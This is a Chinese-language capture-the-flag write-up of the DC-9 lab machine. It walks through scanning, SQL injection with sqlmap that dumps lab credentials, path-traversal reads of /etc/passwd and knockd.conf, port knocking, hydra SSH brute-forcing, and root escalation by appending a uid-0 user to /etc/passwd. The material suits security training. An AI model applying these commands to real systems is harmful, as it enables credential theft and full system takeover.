DC-9

打开扫一下：

不知道是不是，nmap 扫一下：

看来是没问题了，可以开始攻击了！

信息搜集

端口扫描

 nmap -sT -T4 -sV 10.160.58.244

 PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

目录扫描

 gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.160.58.244 -f -t 50 -x php,txt,html,jpg,png

 /.php/                (Status: 403) [Size: 278]
/search.php/          (Status: 200) [Size: 1091]
/icons/               (Status: 403) [Size: 278]
/welcome.php/         (Status: 302) [Size: 0] [--> manage.php]
/results.php/         (Status: 200) [Size: 1056]
/display.php/         (Status: 200) [Size: 2961]
/css/                 (Status: 200) [Size: 932]
/index.php/           (Status: 200) [Size: 917]
/includes/            (Status: 200) [Size: 746]
/.html/               (Status: 403) [Size: 278]
/logout.php/          (Status: 302) [Size: 0] [--> manage.php]
/config.php/          (Status: 200) [Size: 0]
/manage.php/          (Status: 200) [Size: 1210]
/session.php/         (Status: 302) [Size: 0] [--> manage.php]
/.php/                (Status: 403) [Size: 278]
/.html/               (Status: 403) [Size: 278]
/server-status/       (Status: 403) [Size: 278]

漏洞利用

敏感目录探查

发现用户名 admin，刷新一下：

尝试 sql 注入

 1' or '1' = '1

有回显，

 1' or '1' = '2

无回显，说明 sql 注入漏洞存在，尝试联合注入：

 -1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() #

未果，继续试探，没成功，sqlmap 梭一下，看看是咋注入的。

 POST /results.php HTTP/1.1
Host: 10.160.58.244
Content-Length: 10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.160.58.244
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.160.58.244/search.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
 
search=ctf

保存为 1.txt，登录那个界面保存为 2.txt，分别测一下：

 POST /manage.php HTTP/1.1
Host: 10.160.58.244
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.160.58.244
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.160.58.244/manage.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=dg3l2p0bbh8od1harqv0an2ter
Connection: close
 
username=admin&password=password

 sqlmap -r 1.txt

查到俩：

 sqlmap -r 2.txt

好家伙登录倒是没有跑到漏洞。

尝试登录进去看看：

 sqlmap -r 1.txt --current-db

 [07:00:43] [INFO] fetching current database
current database: 'Staff'

 sqlmap -r 1.txt --tables -D "Staff"

 Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users        |
+--------------+

 sqlmap -r 1.txt --columns -T "Users" -D "Staff"

 Database: Staff
Table: Users
[3 columns]
+----------+-----------------+
| Column   | Type            |
+----------+-----------------+
| Password | varchar(255)    |
| UserID   | int(6) unsigned |
| Username | varchar(255)    |
+----------+-----------------+

 sqlmap -r 1.txt --dump -C "Password,UserID,Username" -T "Users" -D "Staff"

 Database: Staff
Table: Users
[1 entry]
+--------+----------+----------------------------------+
| UserID | Username | Password                         |
+--------+----------+----------------------------------+
| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+

得到用户与密码：

 admin 
856f5de590ef37314e7c3bdf6f8a66dc(transorbital1)

尝试登录：

可能存在文件包含漏洞，找一下上传点：

 http://10.160.58.244/addrecord.php?file=../../../../../etc/passwd

查看一下其他数据库：

 sqlmap -r 1.txt --dbs

 available databases [3]:
[*] information_schema
[*] Staff
[*] users

 sqlmap -r 1.txt --tables -D "users"

 Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+

 sqlmap -r 1.txt --columns -T "UserDetails" -D "users"

 Database: users
Table: UserDetails
[6 columns]
+-----------+-----------------+
| Column    | Type            |
+-----------+-----------------+
| firstname | varchar(30)     |
| id        | int(6) unsigned |
| lastname  | varchar(30)     |
| password  | varchar(20)     |
| reg_date  | timestamp       |
| username  | varchar(30)     |
+-----------+-----------------+

 sqlmap -r 1.txt --dump -C "username,password" -T "UserDetails" -D "users"

 Database: users
Table: UserDetails
[17 entries]
+-----------+---------------+
| username  | password      |
+-----------+---------------+
| marym     | 3kfs86sfd     |
| julied    | 468sfdfsd2    |
| fredf     | 4sfd87sfd1    |
| barneyr   | RocksOff      |
| tomc      | TC&TheBoyz    |
| jerrym    | B8m#48sd      |
| wilmaf    | Pebbles       |
| bettyr    | BamBam01      |
| chandlerb | UrAG0D!       |
| joeyt     | Passw0rd      |
| rachelg   | yN72#dsd      |
| rossg     | ILoveRachel   |
| monicag   | 3248dsds7s    |
| phoebeb   | smellycats    |
| scoots    | YR3BVxxxw87   |
| janitor   | Ilovepeepee   |
| janitor2  | Hawaii-Five-0 |
+-----------+---------------+

ssh 爆破

将其放入两个文件内：

 marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
 
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

但是没开放 22 端口，远程目录看一下是不是得 knock 一下才会开放：

 http://10.160.58.244/manage.php?file=../../../../../../etc/knockd.conf

按照顺序敲击就行：

 nc 10.160.58.244 7469
nc 10.160.58.244 8475
nc 10.160.58.244 9842

再扫描一下是否开放了 ssh 端口：

 nmap 10.160.58.244

 PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

尝试爆破一下：

 hydra -L dcusername.txt -P dcpassword.txt ssh://10.160.58.244

 chandlerb           UrAG0D!
joeyt               Passw0rd
janitor             Ilovepeepee

ssh 登录

进行登录查询信息：

提权

然后在最后一个用户发现了一些东西：

将字典添加到密码字典中进行爆破：

又得到一个用户：

切换至 fredf

查看一下：

 file /opt/devstuff/dist/test/test
# /opt/devstuff/dist/test/test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped

传到本地分析一下，但是好复杂，不管他了，先运行一下再说：

 Usage: python test.py read append

查一下这个 test.py：

 find / -name test.py  2>/dev/null

 /opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

 cat /opt/devstuff/test.py

 #!/usr/bin/python
 
import sys
 
if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)
 
else :
    f = open(sys.argv[1], "r")
    output = (f.read())
 
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

传递三个参数，第一个参数是 ./test，第二个参数以追加方式写进第三个文件里。

直接就想到了创建一个 root 权限的用户实现登录！

创建 root 用户添加进 /etc/passwd

创建用户

 openssl passwd -1 -salt hack hack
# $1$hack$xR6zsfvpez/t8teGRRSNr.
echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/bin/bash' > /tmp/hack
sudo ./test /tmp/hack /etc/passwd
cat /etc/passwd

尝试切换用户：

切换拿到 flag！